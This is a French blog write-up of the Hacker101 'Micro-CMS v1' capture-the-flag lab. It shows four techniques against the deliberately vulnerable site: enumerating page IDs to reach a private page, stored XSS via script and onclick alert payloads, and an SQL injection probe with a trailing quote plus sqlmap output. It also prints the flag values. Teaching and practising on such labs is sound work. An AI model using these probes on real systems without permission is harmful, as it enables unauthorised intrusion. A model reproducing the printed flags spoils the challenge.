Write-up CTF hacker101 « Micro-CMS v1 » xss sqli
L'association lghm le gang des hackers de Montreuil présente ce nouveau capture the flag, La capture du drapeau cybersécurité, par Fabien
Je choisis la ligne « Micro-CMS v1 » , il y a visiblement 4 flags
Je clique sur le bouton « go »
write-up-hackerone-hacker101-go.png
La page suivante s’ouvre dans le navigateur
http://35.227.24.107/946451848d/
Avec un menu et ces liens :
Quand je clique sur ‘testing’ j’obtiens
TestingWooTesting out this new micro-CMS! |
Quand je clique sur « Markdown test » j’obtiens :
Markdown TestJust testing some markdown functionality. write-up-hackerone-hacker101-micro-cms-v1-chat.png <Some button> |
Quand je clique sur «Edit this page » j’obtiens :
Just testing some markdown functionality.  <button>Some button</button> |
Enfin, quand je clique sur sur «Create a new page » j’obtiens :
Edit PageTitle: Markdown is supported, but scripts are not |
Tiens, je remarque que l’url en est déjà à la page 9
http://35.227.24.107/946451848d/page/edit/9
On n’aurait pas sauté des pages ?
Je teste d’afficher la page 8 :
http://35.227.24.107/946451848d/page/edit/8
Not Found
The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.
Mince je teste la page 7 , idem
Mince je teste la page 6, et là … FLAG !
Write-up CTF hacker101 « Micro-CMS v1 » Flag 1 sur 4
Edit PageTitle: Markdown is supported, but scripts are not |
Code source :
<!doctype html> <html> <head> <title>Edit page</title> </head> <body> <a href="/"><-- Go Home</a> <h1>Edit Page</h1> <form method="POST"> Title: <input type="text" name="title" value="Private Page"><br> <textarea name="body" rows="10" cols="80">My secret is ^FLAG^e94e7cf08db599ca4f63d3d708194b8d7a1fdcf67233b9167fa5dbded50eda58$FLAG$</textarea><br> <input type="submit" value="Save"> <div style="font-style: italic"><a href="/">Markdown</a> is supported, but scripts are not</div> </form> </body> </html> |
Ensuite je teste la page 5 , idem
Ensuite je teste la page 4, 3,2,1 idem...
Oh un champ à renseigner, ça sent l’XSS …
Je teste mes payloads XSS dans le body :
<script>alert("bonjour!");</script>
Write-up CTF hacker101 « Micro-CMS v1 » Flag 2 sur 4
A partir d'une faille xss blind, j'implemente une faille xss stored
2eme flag !
^FLAG^93e6bc9ce476408e3d91407bbc38f3c496e9eb180aae11b6b2f8c0c5d36997d6$FLAG$
Write-up CTF hacker101 « Micro-CMS v1 » Flag 3 sur 4
On tente une injection SQL sur les url
La http://35.227.24.107/946451848d/page/edit/1 répond avec le flag
Avec SQLMap :
__H__ ___ ___[.]_____ ___ ___ {1.3.6.50#dev} |_ -| . [(] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:26:39 /2019-06-24/ [15:26:39] [DEBUG] cleaning up configuration parameters [15:26:39] [DEBUG] setting the HTTP timeout [15:26:39] [DEBUG] setting the HTTP User-Agent header [15:26:39] [DEBUG] creating HTTP requests opener object [15:26:39] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data' do you want to try URI injections in the target URL itself? [Y/n/q] Y [15:26:45] [INFO] testing connection to the target URL |
On voit que http://www.site.com/article.php?id=1') remonte une erreur, c’est louche
test sur la page url du challeneg :
http://35.227.24.107/946451848d/page/edit/1')
3eme flag !
^FLAG^c0302172e4e80f6c08cfa2ea22e31e8f9b0738073f27c4e6fcbb5541874ffd08$FLAG$
Write-up CTF hacker101 « Micro-CMS v1 » Flag 4 sur 4
http://35.227.24.107/946451848d/page/edit/2
Edit
Je teste mes payloads XSS dans le « title »:
<script>alert("bonjour!");</script>
rien…
Dans le bouton
onclick="alert('xss')"
onclick="alert(1')"Some button
Just testing some markdown functionality.  <button onclick="alert(1')"Some button</button> |
Save
je clic sur le bouton, code source
le flag apparaît sur le bouton
FLAG !
Voici le dernier flag de ce capture the flag hacker one:
^FLAG^5ea5c2288d71ab88207e317d97c61f027abff5d3ff93057aeef7b4f5d41e3bd7$FLAG$
Cet article reflète exclusivement l'opinion de ses auteurs et n’engage en aucune façon Consultingit
Commentaires?
Voilà, j'espère que ça vous a plu. Vos commentaires/remarques sont les bienvenus
ou contactez-nous?